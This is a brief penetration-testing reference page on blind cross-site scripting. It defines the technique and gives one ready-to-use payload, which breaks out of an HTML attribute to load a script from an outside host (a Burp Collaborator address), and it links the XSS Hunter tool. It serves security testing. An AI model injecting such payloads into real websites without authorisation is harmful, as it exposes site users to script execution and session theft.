> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/cross-site-scripting/blind-cross-site-scripting.md).

# Blind Cross-Site Scripting

Blind cross-site scripting (XSS) attacks occur when an attacker is unable to directly see the results of their XSS payload on the targeted website, but can still confirm if the payload has executed successfully or not by observing the behavior of a third-party service, such as Burp Suite's Collaborator.

#### Basic \<script> Payload:

```bash
"><script src="https://burpcollaborator.com"></script>
```

### References

{% embed url="<https://github.com/mandatoryprogrammer/xsshunter-express>" %}